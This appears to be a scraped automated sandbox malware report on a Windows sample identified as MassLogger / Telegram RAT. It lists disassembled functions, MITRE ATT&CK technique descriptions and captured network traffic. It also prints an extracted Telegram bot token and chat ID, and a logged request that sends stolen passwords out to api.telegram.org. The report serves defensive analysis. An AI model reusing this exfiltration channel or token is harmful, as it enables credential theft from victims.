Instruction Fuzzy Hash: 4EE0227360032467D720AAA59C09E87FBACAB917A4F004026B905D3081E668EA0087D4

Function 0075A631 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 0075A63F

Part of subcall function 007413F1: _doexit.LIBCMT ref: 007413FB

Strings

AutoIt, xrefs: 0075A633
Error allocating memory., xrefs: 0075A638

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 5cc4dc8e4fa544a94908f0772d108f954da9d0e6397b4aeeb06f7d6e7cc6ced3
Instruction ID: eaa59c7220a4b3a5817a918836b9b06a4e6e9fffc287b70278be1cf7d551c424
Opcode Fuzzy Hash: 5cc4dc8e4fa544a94908f0772d108f954da9d0e6397b4aeeb06f7d6e7cc6ced3
Instruction Fuzzy Hash: 38D012712C432872D62436986C1BFC565489B15B95F044026BB09955C35AEE999141D9

Function 0079AE86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 0079ACC0
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0079AEBD

Strings

WIN_XPe, xrefs: 0079ACD3

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: DirectoryFreeLibrarySystem
String ID: WIN_XPe
API String ID: 510247158-3257408948
Opcode ID: b85e45e11693a36792df132d492e68ef753cf2a8b149fe1793bcc15a917b74e1
Instruction ID: bb3f11d60502871161c1986668e96d2e95004666f4963c8c68295611c31c4597
Opcode Fuzzy Hash: b85e45e11693a36792df132d492e68ef753cf2a8b149fe1793bcc15a917b74e1
Instruction Fuzzy Hash: DFE06570C01109EFCF11DBA4E944AECB7B8AB59301F10D081E042B6560CB385E44DF36

Function 007886CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 007886E2
PostMessageW.USER32(00000000), ref: 007886E9

Part of subcall function 00767A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00767AD0

Strings

Shell_TrayWnd, xrefs: 007886DB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 0c9b6cff95f4265f1ec343a09beaf17dc0348d1e68a3f098c22530d2f595c61e
Instruction ID: e6f3aa7b479c372ac827b6dbf3cccc768cf68cdcffb23f7bd9a6271bdaa97ef6
Opcode Fuzzy Hash: 0c9b6cff95f4265f1ec343a09beaf17dc0348d1e68a3f098c22530d2f595c61e
Instruction Fuzzy Hash: 40D02231380314BBF2786370AC0FFC63A189B45B10F004805B707EA1C0C8E8ED10CB28

Function 00788698 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 007886A2
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 007886B5

Part of subcall function 00767A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00767AD0

Strings

Shell_TrayWnd, xrefs: 0078869B

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: a68d28fd735a5cc2da50113518a2b35a95c119443e5e00926feee345714096c1
Instruction ID: e625f00d58b16bc7cb4d323353ff89fadf58e5655ebbf3c3192754f7494c4a62
Opcode Fuzzy Hash: a68d28fd735a5cc2da50113518a2b35a95c119443e5e00926feee345714096c1
Instruction Fuzzy Hash: 09D01271794314B7F2786770AC0FFC67A189B45B51F104915B74BAA1D0C9E8ED50CB68

Source: 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7910311526:AAEn5doit3APLTHTBsAxIx_YHMTZbEuOtRo", "Telegram Chatid": "6712961026"}
Source: RegSvcs.exe.7336.8.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7910311526:AAEn5doit3APLTHTBsAxIx_YHMTZbEuOtRo/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49749 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49749 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7910311526:AAEn5doit3APLTHTBsAxIx_YHMTZbEuOtRo/sendDocument?chat_id=6712961026&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd315a0f8efc48Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VIAmJUhQ54.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\autF3C4.tmp

C:\Users\user\AppData\Local\Temp\piceworth

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
VIAmJUhQ54.exe

Function 0074B043 Relevance: 21.5, APIs: 14, Instructions: 537
COMMONLIBRARYCODE

Function 00723D19 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 151
windowCOMMON

Function 0073DDC0 Relevance: 10.7, APIs: 7, Instructions: 175
COMMON

Function 0072406B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Function 0076FA0C Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 238
COMMON

Function 0076BFA4 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 316
fileCOMMON

Function 00723F53 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Function 00723742 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Function 00723E6E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Function 0074ACB3 Relevance: 15.2, APIs: 10, Instructions: 219
COMMON

Function 00F06358 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 007249FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
registryCOMMON

Function 007236B8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 00F060F8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156
fileCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre